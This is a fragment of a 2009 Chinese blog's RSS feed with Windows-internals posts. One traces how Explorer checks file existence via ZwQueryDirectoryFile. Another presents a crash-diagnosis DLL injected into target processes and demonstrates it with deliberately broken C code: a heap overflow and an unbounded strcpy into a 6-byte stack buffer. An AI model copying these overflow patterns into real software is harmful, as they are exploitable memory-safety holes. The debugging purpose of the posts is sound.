<p><span><strong><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/sysnap/pic/item/2daad52caf0cbaf58b139903.jpg"></strong></span><a target="_blank" href="http://dd.uueasy.com/download.php?predomain=sysnap&amp;host=sysnap.uueasy.com&amp;pid=tpc&amp;tid=16&amp;aid=33&amp;down_hash=Mm10aiFleSckb3IFIGMIMD5hMXVgTitwZlUCfnBXKmN6MjBTIHh0YSNyRAUwCwxb"><strong>可执行文件下载</strong></a></p> <a href="http://hi.baidu.com/sysnap/blog/item/6c6232512e345812367abed7.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/sysnap/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/sysnap/blog/item/6c6232512e345812367abed7.html#comment">查看评论</a>]]></description>
        <pubDate>2009年12月01日 星期二  16:44</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[Sysnap]]></author>
		<guid>http://hi.baidu.com/sysnap/blog/item/6c6232512e345812367abed7.html</guid>
</item>

<item>
        <title><![CDATA[另一种确定文件存在方法]]></title>
        <link><![CDATA[http://hi.baidu.com/sysnap/blog/item/58ed26c2d63e02110ef477c1.html]]></link>
        <description><![CDATA[
		
		<p><strong>YasVps创建的文件，用explorer删除文件老失败。。跟踪发现，删除文件，复制文件，移动文件等。都用SHFileOperation<br>
让我奇怪的是它确定文件是否存在竟然不是 OpenFile, bp SHFileOperation,跟一下。</strong></p>
<p><strong>SHFileOperation(&amp;lpsh);<br>
SHELL32!MoveCopyDriver<br>
SHELL32!DTBuild<br>
SHELL32!DTPathToDTNode<br>
FindFirstFileExW</strong></p>
<p><strong>它确定文件存在不是OPENFILE，而是用 FindFirstFileExW<br>
RtlDosPathNameToNtPathName_U ， 取得目录和 文件名。<br>
NtOpenFile 目录，并把句柄传入 ZwQueryDirectoryFile， IN PUNICODE_STRING  FileName  OPTIONAL 为文件名，这个平时很少注意，这样它是根据 ZwQueryDirectoryFile来确定文件是否存在的，<br>
在FSD中。文件名为 QUERY_DIRECTORY：：FileName，不为NULL了。<br>
typedef struct tag_QUERY_DIRECTORY<br>
{<br>
  ULONG Length;<br>
  PUNICODE_STRING FileName; <br>
  FILE_INFORMATION_CLASS FileInformationClass;<br>
  ULONG FileIndex;<br>
} QUERY_DIRECTORY, *PQUERY_DIRECTORY;</strong></p>
<p><strong>提取到的FILE_OBJECT得路径也只能是目录了。</strong></p>
<p><strong>关于是什么用。。可能你做某些东西时会碰到这样的问题。。贴出来SHARE下。。</strong></p> <a href="http://hi.baidu.com/sysnap/blog/item/58ed26c2d63e02110ef477c1.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/sysnap/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/sysnap/blog/item/58ed26c2d63e02110ef477c1.html#comment">查看评论</a>]]></description>
        <pubDate>2009年11月26日 星期四  16:07</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[Sysnap]]></author>
		<guid>http://hi.baidu.com/sysnap/blog/item/58ed26c2d63e02110ef477c1.html</guid>
</item>

<item>
        <title><![CDATA[YasTr.dll]]></title>
        <link><![CDATA[http://hi.baidu.com/sysnap/blog/item/8e765bf9ebf6dc53242df205.html]]></link>
        <description><![CDATA[
		
		<p><strong>  程序崩溃了，用yastr.dll定位问题问题。看看是堆被破坏了，还是栈被破坏了，还是其他异常问题。所以yastr.dll接管了目标应用程序的异常处理。</strong></p>
<p><strong>  使用，<font color="#ff0000">用一个loader把yastr.dll注入到目标进程就可以。。。dbgview看输出信息。。</font><br>
  可以获取到的信息<br>
  线程的CONTEXT, 调用栈， SEH处理，栈的开始和结束。<br>
  进程堆得信息。<br>
  <br>
  yastr.dll会替换掉异常处理函数，所以程序出错时会获得通知。 </strong></p>
<p><strong>  下图是下面xXXX代码的输出</strong></p>
<p><strong>   HANDLE hHeap;<br>
&nbsp;&nbsp;  hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000, 0xfffff);<br>
 <br>
&nbsp;&nbsp;  char* buf = (char*)HeapAlloc(hHeap, 0,2);<br>
&nbsp;&nbsp;  printf(&quot;mybuf addr = %p\n&quot;,buf);</strong></p>
<p><strong>   CopyMemory( buf, mybuf, 100); <font color="#ff0000"> // 堆问题</font></strong></p>
<p><strong>&nbsp;&nbsp;  CHAR sz0[6]；</strong></p>
<p><strong>&nbsp;&nbsp;  strcpy( sz0, &quot;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<font color="#ff0000">&quot;);//栈问题</font></strong></p>
<p><strong><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/sysnap/pic/item/169397cede70cf16b700c829.jpg"><br>
</span></strong></p>
<p><strong><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/sysnap/pic/item/4ab353c8ee22d3387e3e6f29.jpg"></span></span></strong></p>
<p><strong><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/sysnap/pic/item/2daad52caf0cbaf58b139903.jpg"></span><a target="_blank" href="http://dd.uueasy.com/download.php?predomain=sysnap&amp;host=sysnap.uueasy.com&amp;pid=tpc&amp;tid=16&amp;aid=32&amp;down_hash=Mm10aiFleSckb3IFIGMIMD5hMXVgTitwZlUCfnBXKmN6MjBTIHh0YSNyRAUwCwxb">下载</a><br>
</span></span></strong></p> <a href="http://hi.baidu.com/sysnap/blog/item/8e765bf9ebf6dc53242df205.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/sysnap/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/sysnap/blog/item/8e765bf9ebf6dc53242df205.html#comment">查看评论</a>]]></description>
        <pubDate>2009年11月19日 星期四  22:19</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[Sysnap]]></author>
		<guid>http://hi.baidu.com/sysnap/blog/item/8e765bf9ebf6dc53242df205.html</guid>
</item>


</channel>
</rss>